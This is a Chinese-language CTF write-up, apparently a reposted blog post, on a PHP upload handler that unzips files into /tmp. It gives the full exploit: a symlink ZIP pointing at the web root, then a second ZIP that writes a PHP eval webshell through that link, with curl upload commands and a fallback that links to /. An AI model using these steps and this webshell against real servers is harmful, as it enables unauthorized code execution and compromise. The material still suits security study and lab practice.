CTF:ZIP 软链接解压写入 WebShell
原创
小话安全
小话安全
小话安全
2026年10月20日 10:56
山东
去阅读
核心一句话:利用两次 ZIP 上传,第一次在
/tmp创建指向 Web 根目录的软链接,第二次让unzip沿着软链接把 WebShell 解压到 Web 目录。
1. 代码审计
关键代码:
if (finfo_file($finfo, $_FILES[”file”][”tmp_name”]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES[”file”][”tmp_name”]); };
可得出:
- 上传字段名是 file;
- 只检查上传文件 MIME 是否为 application/zip,普通 ZIP 即可通过;
- 通过后执行:
cd /tmp && unzip -o 上传临时文件
也就是把 ZIP 解压到 /tmp;4. -o 表示覆盖已有文件;5. 没有过滤压缩包内容,也没有限制解压路径。
直接上传包含 shell.php 的 ZIP,只会解压到 /tmp/shell.php,通常无法通过 Web 访问。因此需要利用ZIP 中的软链接,把解压路径“重定向”到 Web 根目录。
2. 利用链
利用链如下:
第一次上传:ZIP 中包含软链接 link -> /var/www/html ↓ 解压到 /tmp 后得到:/tmp/link -> /var/www/html ↓ 第二次上传:ZIP 中包含 link/shell.php ↓ unzip 解压时访问 /tmp/link/shell.php ↓ 实际写入 /var/www/html/shell.php ↓ 访问 http://目标/shell.php
关键点:第二个压缩包里的目录名必须和第一次创建的软链接名一致。
3. 具体步骤
第一步:构造指向 Web 根目录的软链接 ZIP
假设 Web 根目录是 /var/www/html:
ln -s /var/www/html link zip --symlinks link.zip link
--symlinks 很关键,表示把软链接本身打包进去,而不是打包链接目标目录的内容。
上传:
curl -F ”[email protected]” http://目标地址/
上传并解压后,服务器上会存在:
/tmp/link -> /var/www/html
第二步:构造包含 WebShell 的 ZIP
创建与软链接同名的目录:
mkdir link echo '<?php eval($_POST[1]);?>' > link/shell.php zip -r shell.zip link/shell.php
压缩包内部路径应为:
link/shell.php
上传:
curl -F ”[email protected]” http://目标地址/
解压时,unzip 会解析:
/tmp/link/shell.php
由于 /tmp/link 是指向 /var/www/html 的软链接,实际写入:
/var/www/html/shell.php
第三步:访问 WebShell
访问:
http://目标地址/shell.php
POST 参数:
1=phpinfo();
即可验证。
4. 如果不知道 Web 根目录
可以创建指向根目录 / 的软链接:
ln -s / linkzip --symlinks link.zip link
然后第二个压缩包内部构造:
mkdir -p link/var/www/html echo '<?php eval($_POST[1]);?>' > link/var/www/html/shell.php zip -r shell.zip link/var/www/html/shell.php
解压后:
/tmp/link/var/www/html/shell.php
由于 /tmp/link -> /,实际写入:
/var/www/html/shell.php
常见 Web 根目录还可以尝试:
/var/www/html /var/www /app /usr/share/nginx/html
5. 注意事项
- 必须先上传软链接 ZIP,再上传 WebShell ZIP,顺序不能反;
- 第二个 ZIP 内的目录名必须与软链接名完全一致,例如都叫link;
- 打包软链接必须使用 zip --symlinks;
- Web 进程需要对目标 Web 目录有写权限;
- error\_reporting(0)会隐藏错误,失败时需检查路径、权限、软链接是否创建成功;
- unzip -o 会覆盖已有文件,便于覆盖写入;
- 仅用于授权 CTF/靶场环境,不要用于未授权系统。
6. 解题流程总结
代码审计发现 ZIP 自动解压到 /tmp ↓ 直接上传 shell 只能进 /tmp,无法访问 ↓ 利用 ZIP 软链接:link -> Web 根目录 ↓ 第一次上传创建 /tmp/link 软链接 ↓ 第二次上传 link/shell.php ↓ unzip 沿软链接写入 Web 根目录 ↓ 访问 /shell.php 获取 WebShell
依次上传link.zip link1.zip
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论